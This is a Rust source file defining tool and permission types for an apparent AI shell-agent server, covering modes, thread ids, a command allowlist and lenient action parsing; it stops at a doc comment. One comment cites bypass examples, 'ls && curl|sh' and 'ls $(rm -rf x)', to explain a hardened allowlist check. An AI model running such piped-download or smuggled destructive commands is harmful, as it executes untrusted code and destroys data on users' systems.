winx_code_agent/types.rs
1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
5const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
6
7pub fn normalize_thread_id(thread_id: &str) -> String {
8 let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
9 if filtered.is_empty() {
10 return filtered;
11 }
12
13 // Filtering can collapse distinct ids ("user-1" and "user1"), and a caller
14 // can otherwise create pathologically long state-file names. Preserve safe,
15 // short ids verbatim; every changed or oversized id receives a stable hash of
16 // the ORIGINAL input and a UTF-8-safe prefix bounded to 96 bytes total.
17 if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
18 return filtered;
19 }
20
21 let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
22 let mut prefix = String::with_capacity(prefix_budget);
23 for character in filtered.chars() {
24 if prefix.len() + character.len_utf8() > prefix_budget {
25 break;
26 }
27 prefix.push(character);
28 }
29 format!("{prefix}_{:08x}", fnv1a_32(thread_id))
30}
31
32/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
33/// interactive TUI without a hand-written recognizer. Loaded from the
34/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
35/// `configurable`. Each marker is matched case-insensitively; an invalid regex
36/// falls back to a literal-substring match.
37#[derive(Debug, Clone, Default, Deserialize)]
38pub struct TurnRecognizerMarkers {
39 /// Screen is actively working (scanned across the whole screen). E.g.
40 /// `["esc to interrupt", "generating"]`.
41 #[serde(default)]
42 pub busy: Vec<String>,
43 /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
44 #[serde(default)]
45 pub awaiting_input: Vec<String>,
46 /// Screen is asking for confirmation (scanned in the tail). E.g.
47 /// `["do you want", "y/n"]`.
48 #[serde(default)]
49 pub awaiting_approval: Vec<String>,
50}
51
52impl TurnRecognizerMarkers {
53 /// True when no markers are configured (nothing to recognize).
54 pub fn is_empty(&self) -> bool {
55 self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
56 }
57}
58
59/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
60/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
61/// resolves to the same session and state file after a server restart.
62fn fnv1a_32(s: &str) -> u32 {
63 let mut hash: u32 = 0x811c_9dc5;
64 for byte in s.bytes() {
65 hash ^= u32::from(byte);
66 hash = hash.wrapping_mul(0x0100_0193);
67 }
68 hash
69}
70
71/// Type of shell environment initialization
72///
73/// This enum represents the different ways the Initialize tool can be called,
74/// depending on the current state of the conversation and what the user is requesting.
75#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
76#[serde(rename_all = "snake_case")]
77pub enum InitializeType {
78 /// Initial call at the start of a conversation
79 ///
80 /// This should be used for the first Initialize call in a conversation.
81 /// It sets up a new shell environment with the specified parameters.
82 FirstCall,
83
84 /// User requested to change the mode
85 ///
86 /// This should be used when the user asks to switch between modes
87 /// (e.g., from "wcgw" to "architect" or "`code_writer`").
88 UserAskedModeChange,
89
90 /// Reset the shell environment due to issues
91 ///
92 /// This should be used when the shell environment appears to be in a bad state
93 /// and needs to be reset to continue properly.
94 ResetShell,
95
96 /// User requested to change the workspace
97 ///
98 /// This should be used when the user asks to switch to a different
99 /// workspace or project directory during the conversation.
100 UserAskedChangeWorkspace,
101}
102
103#[derive(Debug, Clone, PartialEq)]
104pub enum ModeName {
105 Wcgw,
106 Architect,
107 CodeWriter,
108}
109
110// Custom serializer implementation to ensure values are properly quoted in JSON
111impl Serialize for ModeName {
112 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
113 where
114 S: serde::Serializer,
115 {
116 match self {
117 ModeName::Wcgw => serializer.serialize_str("wcgw"),
118 ModeName::Architect => serializer.serialize_str("architect"),
119 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
120 }
121 }
122}
123
124// Custom deserializer to support multiple aliases
125impl<'de> Deserialize<'de> for ModeName {
126 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
127 where
128 D: serde::Deserializer<'de>,
129 {
130 let s = String::deserialize(deserializer)?;
131 match s.as_str() {
132 "wcgw" => Ok(ModeName::Wcgw),
133 "architect" => Ok(ModeName::Architect),
134 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
135 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
136 }
137 }
138}
139
140// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
141// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
142// `#/definitions/ModeName`, a node that was never populated. Lenient clients
143// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
144// likely ChatGPT) reject the whole tool call: "Reference not found:
145// #/definitions/ModeName". The variants mirror the Serialize impl above.
146impl JsonSchema for ModeName {
147 fn schema_name() -> std::borrow::Cow<'static, str> {
148 "ModeName".into()
149 }
150
151 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
152 schemars::json_schema!({
153 "type": "string",
154 "enum": ["wcgw", "architect", "code_writer"],
155 "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
156 })
157 }
158}
159
160#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
161pub struct CodeWriterConfig {
162 #[serde(default)]
163 pub allowed_globs: AllowedGlobs,
164 #[serde(default)]
165 pub allowed_commands: AllowedCommands,
166}
167
168impl CodeWriterConfig {
169 pub fn update_relative_globs(&mut self, workspace_root: &str) {
170 // Only process if we have a list of globs
171 if let AllowedGlobs::List(globs) = &self.allowed_globs {
172 let updated_globs = globs
173 .iter()
174 .map(|glob| {
175 if std::path::Path::new(glob).is_absolute() {
176 glob.clone()
177 } else {
178 format!("{workspace_root}/{glob}")
179 }
180 })
181 .collect();
182
183 self.allowed_globs = AllowedGlobs::List(updated_globs);
184 }
185 }
186}
187
188#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
189#[serde(untagged)]
190pub enum AllowedGlobs {
191 All(String),
192 List(Vec<String>),
193}
194
195impl Default for AllowedGlobs {
196 fn default() -> Self {
197 AllowedGlobs::All("all".to_string())
198 }
199}
200
201impl AllowedGlobs {
202 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
203 /// Without this, a literal glob named "all" would be the only allowed path.
204 pub fn normalize(&mut self) {
205 if let AllowedGlobs::List(items) = self {
206 if items.len() == 1 && items[0] == "all" {
207 *self = AllowedGlobs::All("all".to_string());
208 }
209 }
210 }
211
212 #[allow(dead_code)]
213 pub fn is_allowed(&self, path: &str) -> bool {
214 match self {
215 AllowedGlobs::All(s) if s == "all" => true,
216 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
217 Ok(pattern) => pattern.matches(path),
218 Err(_) => false,
219 }),
220 AllowedGlobs::All(_) => false,
221 }
222 }
223}
224
225#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
226#[serde(untagged)]
227pub enum AllowedCommands {
228 All(String),
229 List(Vec<String>),
230}
231
232impl Default for AllowedCommands {
233 fn default() -> Self {
234 AllowedCommands::All("all".to_string())
235 }
236}
237
238impl AllowedCommands {
239 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
240 pub fn normalize(&mut self) {
241 if let AllowedCommands::List(items) = self {
242 if items.len() == 1 && items[0] == "all" {
243 *self = AllowedCommands::All("all".to_string());
244 }
245 }
246 }
247
248 pub fn is_allowed(&self, command_line: &str) -> bool {
249 match self {
250 AllowedCommands::All(s) if s == "all" => true,
251 AllowedCommands::All(_) => false,
252 AllowedCommands::List(commands) => {
253 // Enforce the allowlist against EVERY command the line would run
254 // (pipelines, &&/||/;, command & process substitution, subshells),
255 // not just the first whitespace token — which `ls && curl|sh` and
256 // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
257 // closed: a restricted mode must not run what it can't vet.
258 match crate::utils::bash_parser::extract_command_texts(command_line) {
259 Ok(cmds) if !cmds.is_empty() => cmds
260 .iter()
261 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
262 _ => false,
263 }
264 }
265 }
266 }
267}
268
269/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
270/// enforcing a word boundary so `ls` does not also permit `lsof`, and
271/// `cargo test` does not permit `cargo testimony`.
272fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
273 let cmd = cmd.trim();
274 let allowed = allowed.trim();
275 if allowed.is_empty() {
276 return false;
277 }
278 cmd == allowed
279 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
280}
281
282/// Parameters for initializing the shell environment
283///
284/// This struct represents the parameters needed to initialize or update the shell environment.
285/// It is used by the Initialize tool, which must be called before any other shell tools.
286#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
287pub struct Initialize {
288 /// Initialization type, indicating the purpose of the call
289 ///
290 /// - `FirstCall`: Initial setup for a new conversation
291 /// - `UserAskedModeChange`: User requested to change the mode during a conversation
292 /// - `ResetShell`: Reset the shell if it's not working properly
293 /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
294 #[serde(rename = "type")]
295 #[serde(default = "default_init_type")]
296 pub init_type: InitializeType,
297
298 /// Path to the workspace directory or file
299 ///
300 /// This can be an absolute path or a path relative to the current directory.
301 /// If it's a file, the parent directory will be used as the workspace.
302 /// If it doesn't exist and is an absolute path, it will be created.
303 /// If it's a relative path and doesn't exist, an error will be returned.
304 pub any_workspace_path: String,
305
306 /// List of files to read initially
307 ///
308 /// These files can be absolute paths or paths relative to the workspace.
309 /// They will be read and their contents provided in the response.
310 #[serde(default)]
311 pub initial_files_to_read: Vec<String>,
312
313 /// ID of a task to resume
314 ///
315 /// If provided during a `first_call`, the task with this ID will be resumed.
316 /// This allows continuing a conversation from a previous session.
317 #[serde(default = "String::new")]
318 #[serde(deserialize_with = "deserialize_string_or_null")]
319 pub task_id_to_resume: String,
320
321 /// Mode name for the shell environment
322 ///
323 /// - `wcgw`: Full permissions (default)
324 /// - `architect`: Restricted permissions, read-only
325 /// - `code_writer`: Custom permissions for code writing
326 #[serde(default = "default_mode_name")]
327 pub mode_name: ModeName,
328
329 /// ID of the thread session
330 ///
331 /// If not provided for a `first_call`, a new ID will be generated.
332 /// This ID must be included in all subsequent tool calls.
333 #[serde(default)]
334 #[serde(deserialize_with = "deserialize_string_or_null")]
335 pub thread_id: String,
336
337 /// Configuration for `code_writer` mode
338 ///
339 /// Only used when `mode_name` is "`code_writer`".
340 /// Specifies allowed commands and file globs for writing/editing.
341 #[serde(default)]
342 #[serde(deserialize_with = "deserialize_code_writer_config")]
343 pub code_writer_config: Option<CodeWriterConfig>,
344}
345
346// Custom deserializer for strings that might be null
347fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
348where
349 D: serde::Deserializer<'de>,
350{
351 // First try to deserialize as a string
352 let result = serde_json::Value::deserialize(deserializer)?;
353
354 match result {
355 // Return empty string for null values
356 serde_json::Value::Null => Ok(String::new()),
357 // If it's a string, use that
358 serde_json::Value::String(s) => {
359 // Handle "null" string specially
360 if s == "null" {
361 Ok(String::new())
362 } else {
363 Ok(s)
364 }
365 }
366 // Otherwise try to convert to a string
367 _ => match serde_json::to_string(&result) {
368 Ok(s) => Ok(s),
369 Err(_) => Ok(String::new()),
370 },
371 }
372}
373
374// Custom deserializer for code_writer_config that handles the "null" string case
375fn deserialize_code_writer_config<'de, D>(
376 deserializer: D,
377) -> Result<Option<CodeWriterConfig>, D::Error>
378where
379 D: serde::Deserializer<'de>,
380{
381 // This handles multiple possible input types
382 let value = serde_json::Value::deserialize(deserializer)?;
383
384 match value {
385 // If it's explicitly null or the string "null", return None
386 serde_json::Value::Null => Ok(None),
387 serde_json::Value::String(s) if s == "null" => Ok(None),
388 // Otherwise try to parse it as CodeWriterConfig
389 _ => {
390 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
391 Ok(config) => {
392 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
393 Ok(Some(config))
394 }
395 Err(e) => {
396 // Fail loud. A malformed restricted-mode config must NOT silently
397 // degrade to `None` — `None` falls back to All commands / All globs,
398 // so the model would believe the shell is locked down while it is in
399 // fact wide open. Refuse to initialize instead.
400 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
401 Err(serde::de::Error::custom(format!(
402 "Invalid code_writer config: {e}. Refusing to start with a permissive \
403 fallback — fix the allowed_commands / allowed_globs shape (or pass null \
404 to opt out explicitly)."
405 )))
406 }
407 }
408 }
409 }
410}
411
412/// Default `mode_name` for Initialize
413fn default_mode_name() -> ModeName {
414 ModeName::Wcgw
415}
416
417/// Default `init_type` for Initialize
418fn default_init_type() -> InitializeType {
419 InitializeType::FirstCall
420}
421
422// Mode types
423#[derive(Debug, Clone, Copy, PartialEq)]
424pub enum Modes {
425 Wcgw,
426 Architect,
427 CodeWriter,
428}
429
430/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
431/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
432/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
433/// variant maps to a `Modes` one — adding a variant to either enum without the
434/// other becomes a compile error here.
435impl From<&ModeName> for Modes {
436 fn from(name: &ModeName) -> Self {
437 match name {
438 ModeName::Wcgw => Modes::Wcgw,
439 ModeName::Architect => Modes::Architect,
440 ModeName::CodeWriter => Modes::CodeWriter,
441 }
442 }
443}
444
445impl std::fmt::Display for Modes {
446 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
447 match self {
448 Modes::Wcgw => write!(f, "wcgw"),
449 Modes::Architect => write!(f, "architect"),
450 Modes::CodeWriter => write!(f, "code_writer"),
451 }
452 }
453}
454
455// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
456// `#/definitions/Modes` was dangling and breaks strict MCP clients.
457impl JsonSchema for Modes {
458 fn schema_name() -> std::borrow::Cow<'static, str> {
459 "Modes".into()
460 }
461
462 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
463 schemars::json_schema!({
464 "type": "string",
465 "enum": ["wcgw", "architect", "code_writer"]
466 })
467 }
468}
469
470/// Special key types for shell interaction
471/// Matches wcgw Python's Specials enum exactly
472#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
473pub enum SpecialKey {
474 Enter,
475 #[serde(rename = "Key-up")]
476 KeyUp,
477 #[serde(rename = "Key-down")]
478 KeyDown,
479 #[serde(rename = "Key-left")]
480 KeyLeft,
481 #[serde(rename = "Key-right")]
482 KeyRight,
483 #[serde(rename = "Ctrl-c")]
484 CtrlC,
485 #[serde(rename = "Ctrl-d")]
486 CtrlD,
487 #[serde(rename = "Ctrl-z")]
488 CtrlZ,
489}
490
491/// Parameters for the `ReadFiles` tool
492///
493/// This struct represents the parameters needed to read one or more files.
494/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
495#[derive(Debug, Clone, Serialize, JsonSchema)]
496pub struct ReadFiles {
497 /// List of file paths to read.
498 /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
499 /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
500 pub file_paths: Vec<String>,
501
502 /// Optional thread ID identifying the shell session to operate on. When
503 /// omitted, the most recently active session is used.
504 #[serde(default)]
505 pub thread_id: String,
506
507 // Internal fields - not part of MCP schema (parsed from file_paths)
508 #[serde(skip)]
509 #[schemars(skip)]
510 pub start_line_nums: Vec<Option<usize>>,
511
512 #[serde(skip)]
513 #[schemars(skip)]
514 pub end_line_nums: Vec<Option<usize>>,
515}
516
517// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
518impl<'de> Deserialize<'de> for ReadFiles {
519 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
520 where
521 D: serde::Deserializer<'de>,
522 {
523 #[derive(Deserialize)]
524 struct ReadFilesHelper {
525 file_paths: Option<Vec<String>>,
526 #[serde(default)]
527 thread_id: Option<String>,
528 }
529
530 let input = serde_json::Value::deserialize(deserializer)?;
531
532 if !input.is_object() {
533 if input.is_null() {
534 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
535 }
536 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
537 }
538
539 let helper: ReadFilesHelper = serde_json::from_value(input)
540 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
541
542 let thread_id = helper.thread_id.unwrap_or_default();
543 let file_paths = match helper.file_paths {
544 Some(paths) if !paths.is_empty() => paths,
545 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
546 None => return Err(serde::de::Error::custom("file_paths is required.")),
547 };
548
549 // Parse line ranges from file paths (like wcgw Python's model_post_init)
550 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
551 let mut start_line_nums = Vec::with_capacity(file_paths.len());
552 let mut end_line_nums = Vec::with_capacity(file_paths.len());
553
554 for path in file_paths {
555 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
556 clean_file_paths.push(clean_path);
557 start_line_nums.push(start);
558 end_line_nums.push(end);
559 }
560
561 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
562 }
563}
564
565fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
566 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
567 return (path.to_string(), None, None);
568 };
569
570 let Some((start, end)) = parse_line_spec(line_spec) else {
571 return (path.to_string(), None, None);
572 };
573
574 (potential_path.to_string(), start, end)
575}
576
577fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
578 if line_spec.chars().all(|c| c.is_ascii_digit()) {
579 return line_spec.parse().ok().map(|line| (Some(line), None));
580 }
581
582 let (start, end) = line_spec.split_once('-')?;
583
584 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
585 return end.parse().ok().map(|line| (None, Some(line)));
586 }
587
588 if !start.is_empty()
589 && start.chars().all(|c| c.is_ascii_digit())
590 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
591 {
592 let start = start.parse().ok()?;
593 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
594 return Some((Some(start), end));
595 }
596
597 None
598}
599
600impl ReadFiles {
601 /// Line numbers are always shown (like wcgw Python)
602 pub fn show_line_numbers(&self) -> bool {
603 true
604 }
605
606 /// Get the clean file path without line range suffix
607 pub fn get_clean_path(&self, index: usize) -> String {
608 parse_file_path_with_line_range(&self.file_paths[index]).0
609 }
610}
611
612/// Default true value for `status_check`
613fn default_true() -> bool {
614 true
615}
616
617/// Types of actions that can be performed with the `BashCommand` tool
618#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
619#[serde(tag = "type", rename_all = "snake_case")]
620pub enum BashCommandAction {
621 /// Execute a shell command
622 Command {
623 command: String,
624 #[serde(default)]
625 is_background: bool,
626 /// Opt out of the single-top-level-statement guard. By default winx
627 /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
628 /// agent has to be explicit about what it's running. Set this to true
629 /// when you knowingly want to run a composite command without
630 /// wrapping it in `bash -lc '...'`.
631 #[serde(default)]
632 allow_multi: bool,
633 },
634
635 /// Check the status of a running command.
636 ///
637 /// By default returns only what changed since the previous call — agents
638 /// driving long-lived TUIs do not need the cumulative buffer on every poll.
639 /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
640 /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
641 /// the PTY ringbuffer.
642 StatusCheck {
643 #[serde(default = "default_true")]
644 status_check: bool,
645 bg_command_id: Option<String>,
646 #[serde(default)]
647 scrollback_lines: Option<usize>,
648 #[serde(default)]
649 verbose: bool,
650 },
651
652 /// Send text to a running command. Set `submit` to true to append a carriage
653 /// return after the bytes so the target program receives the input as a
654 /// completed line (matches what hitting Enter would do in a TUI).
655 SendText {
656 send_text: String,
657 bg_command_id: Option<String>,
658 #[serde(default)]
659 submit: bool,
660 },
661
662 /// Send special keys to a running command. `submit` works the same as in
663 /// `SendText`.
664 SendSpecials {
665 send_specials: Vec<SpecialKey>,
666 bg_command_id: Option<String>,
667 #[serde(default)]
668 submit: bool,
669 },
670
671 /// Send ASCII characters to a running command. `submit` works the same as in
672 /// `SendText`.
673 SendAscii {
674 send_ascii: Vec<u8>,
675 bg_command_id: Option<String>,
676 #[serde(default)]
677 submit: bool,
678 },
679
680 /// Snapshot the live, stable screen of a shell's terminal: the consolidated
681 /// view a human would see right now (cursor moves, redraws, alternate-screen
682 /// and synchronized-output already applied), ANSI stripped. Unlike
683 /// `status_check`, it never stacks redraw generations and never waits — a
684 /// point-in-time photo, ideal for reading an interactive TUI's current frame
685 /// (the `claude` CLI, vim, htop, fzf).
686 Screen {
687 #[serde(default = "default_true")]
688 screen: bool,
689 bg_command_id: Option<String>,
690 /// Last N visible lines to return (0 or omitted = full screen buffer).
691 #[serde(default)]
692 lines: Option<usize>,
693 /// When true, return only the lines that CHANGED since the last `screen`
694 /// look (big token savings when polling a TUI frame-by-frame) instead of
695 /// the whole frame. First look, or a large change, still returns full.
696 #[serde(default)]
697 diff: bool,
698 },
699
700 /// Block until an interactive TUI finishes its turn and is ready for input.
701 /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
702 /// with a per-app recognizer, then returns the stable snapshot plus the
703 /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
704 WaitForTurn {
705 #[serde(default = "default_true")]
706 wait_for_turn: bool,
707 bg_command_id: Option<String>,
708 /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
709 /// (aka `agy`) or `generic`.
710 #[serde(default)]
711 recognizer: Option<String>,
712 /// Quiet window in ms — the screen must be unchanged this long to count
713 /// as idle (default 600).
714 #[serde(default)]
715 quiet_ms: Option<u64>,
716 /// Hard cap in seconds before returning regardless (default 30).
717 #[serde(default)]
718 timeout_seconds: Option<f32>,
719 /// Visible lines to return in the final snapshot (0 or omitted = full).
720 #[serde(default)]
721 lines: Option<usize>,
722 /// By default `wait_for_turn` returns as soon as it confirms the app is
723 /// actively working (`busy`), instead of blocking until the turn ends or
724 /// `timeout_seconds` elapses — so a long-running child never pins the
725 /// caller for the whole cap (poll again to keep watching). Set this to
726 /// true for the old behavior: block *through* `busy` until the app is
727 /// ready for input (or the timeout fires).
728 #[serde(default)]
729 wait_through_busy: bool,
730 },
731}
732
733/// Parameters for the `BashCommand` tool
734#[derive(Debug, Clone, Serialize, JsonSchema)]
735pub struct BashCommand {
736 /// The action to perform (command, status check, etc.)
737 pub action_json: BashCommandAction,
738
739 /// Optional timeout in seconds to wait for command completion
740 #[serde(default)]
741 #[serde(skip_serializing_if = "Option::is_none")]
742 pub wait_for_seconds: Option<f32>,
743
744 /// The thread ID for this session
745 #[serde(default)]
746 pub thread_id: String,
747}
748
749// Custom deserialization for BashCommand to handle string-encoded action_json
750impl<'de> Deserialize<'de> for BashCommand {
751 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
752 where
753 D: serde::Deserializer<'de>,
754 {
755 let input = serde_json::Value::deserialize(deserializer)?;
756 let serde_json::Value::Object(mut map) = input else {
757 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
758 };
759
760 let wait_for_seconds = map
761 .remove("wait_for_seconds")
762 .map(serde_json::from_value)
763 .transpose()
764 .map_err(serde::de::Error::custom)?;
765 let thread_id = map
766 .remove("thread_id")
767 .map(thread_id_from_value)
768 .transpose()
769 .map_err(serde::de::Error::custom)?
770 .unwrap_or_default();
771 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
772
773 // Process action_json which could be a string or an object
774 let action_json = match action_json_value {
775 serde_json::Value::String(s) => {
776 // If it's a string, normalize newlines and try to parse it as JSON
777 // Replace literal newlines with space to avoid JSON parsing errors
778 let sanitized = s.replace('\n', " ");
779 match serde_json::from_str(&sanitized) {
780 Ok(json) => normalize_action_json(json),
781 Err(e) => {
782 // If strict JSON parsing fails, try to be more lenient
783 // For commands containing literal newlines, just wrap the string in a command object
784 tracing::warn!(
785 "Failed to parse action_json as JSON, trying fallback: {}",
786 e
787 );
788
789 // Check for common JSON syntax issues
790 if s.contains("command") && s.contains('{') && s.contains('}') {
791 // It looks like JSON but has issues, let's try to sanitize it
792
793 // Detailed error for troubleshooting
794 tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
795
796 // Common issues: unescaped quotes, newlines, tabs
797 let re_sanitized = s
798 .replace('\n', "\\n") // Replace newlines with escaped newlines
799 .replace('\r', "\\r") // Replace carriage returns with escaped versions
800 .replace('\t', "\\t"); // Replace tabs with escaped versions
801
802 // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
803 let re_sanitized = if !s.contains('"') && s.contains(':') {
804 // Very likely unquoted keys/values
805 tracing::debug!("Attempting to fix unquoted JSON keys/values");
806 re_sanitized
807 } else {
808 re_sanitized
809 };
810
811 match serde_json::from_str(&re_sanitized) {
812 Ok(json) => normalize_action_json(json),
813 Err(err) => {
814 // Log the specific parsing error for debugging
815 tracing::error!("Secondary JSON parse error: {}", err);
816 // Last resort fallback - assume it's a command string
817 // MUST include "type": "command" for serde tagged enum
818 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
819 }
820 }
821 } else {
822 // Assume it's a simple command string
823 // MUST include "type": "command" for serde tagged enum
824 tracing::info!(
825 bytes = s.len(),
826 "Treating action_json as simple command"
827 );
828 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
829 }
830 }
831 }
832 }
833 // If it's already an object or other JSON value, normalize legacy
834 // WCGW-style shorthand such as {"command": "..."}.
835 value => normalize_action_json(value),
836 };
837
838 // Now deserialize the action_json to our BashCommandAction enum
839 let action: BashCommandAction =
840 serde_json::from_value(action_json.clone()).map_err(|e| {
841 tracing::error!(
842 bytes = action_json.to_string().len(),
843 "Failed to deserialize action_json to BashCommandAction: {}",
844 e
845 );
846
847 // For the SyntaxError: Unexpected token case
848 let err_str = e.to_string();
849 if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
850 return serde::de::Error::custom(format!(
851 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
852 ));
853 }
854
855 serde::de::Error::custom(format!(
856 "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
857 ))
858 })?;
859
860 // Return the properly constructed BashCommand
861 Ok(BashCommand {
862 action_json: action,
863 wait_for_seconds,
864 thread_id: normalize_thread_id(&thread_id),
865 })
866 }
867}
868
869fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
870 match value {
871 serde_json::Value::Null => Ok(String::new()),
872 serde_json::Value::String(value) => Ok(value),
873 other => Err(format!("thread_id must be a string or null, got {other}")),
874 }
875}
876
877fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
878 let serde_json::Value::Object(map) = &mut value else {
879 return value;
880 };
881
882 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
883 *command = sanitize_shell_string(command);
884 }
885
886 if map.contains_key("type") {
887 return value;
888 }
889
890 let inferred_type = if map.contains_key("command") {
891 Some("command")
892 } else if map.contains_key("status_check") {
893 Some("status_check")
894 } else if map.contains_key("send_text") {
895 Some("send_text")
896 } else if map.contains_key("send_specials") {
897 Some("send_specials")
898 } else if map.contains_key("send_ascii") {
899 Some("send_ascii")
900 } else if map.contains_key("screen") {
901 Some("screen")
902 } else if map.contains_key("wait_for_turn") {
903 Some("wait_for_turn")
904 } else {
905 None
906 };
907
908 if let Some(action_type) = inferred_type {
909 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
910 }
911
912 value
913}
914
915fn sanitize_shell_string(value: &str) -> String {
916 value.replace('\0', "\\x00")
917}
918
919// Bash command mode
920#[derive(Debug, Clone, JsonSchema, PartialEq)]
921pub struct BashCommandMode {
922 pub bash_mode: BashMode,
923 pub allowed_commands: AllowedCommands,
924}
925
926#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
927pub enum BashMode {
928 NormalMode,
929 RestrictedMode,
930}
931
932// File edit mode
933#[derive(Debug, Clone, JsonSchema, PartialEq)]
934pub struct FileEditMode {
935 pub allowed_globs: AllowedGlobs,
936}
937
938// Write if empty mode
939#[derive(Debug, Clone, JsonSchema, PartialEq)]
940pub struct WriteIfEmptyMode {
941 pub allowed_globs: AllowedGlobs,
942}
943
944/// Parameters for the `FileWriteOrEdit` tool
945///
946/// This struct represents the parameters needed to write or edit a file
947/// with optional search/replace blocks for partial edits.
948#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
949pub struct FileWriteOrEdit {
950 /// Path to the file to write or edit
951 ///
952 /// This must be an absolute path (~ allowed).
953 pub file_path: String,
954
955 /// Percentage of the file that will be changed
956 ///
957 /// If > 50%, the content is treated as the entire file content.
958 /// If <= 50%, the content is treated as search/replace blocks.
959 pub percentage_to_change: u32,
960
961 /// Content for the file or search/replace blocks
962 ///
963 /// If `percentage_to_change` > 50%, this is the entire file content.
964 /// If `percentage_to_change` <= 50%, this contains search/replace blocks
965 /// in the format:
966 /// ```text
967 /// <<<<<<< SEARCH
968 /// old content to find
969 /// =======
970 /// new content to replace with
971 /// >>>>>>> REPLACE
972 /// ```
973 pub text_or_search_replace_blocks: String,
974
975 /// The thread ID for this session
976 pub thread_id: String,
977}
978
979/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
980/// corresponding [`FileWriteOrEdit`] fields.
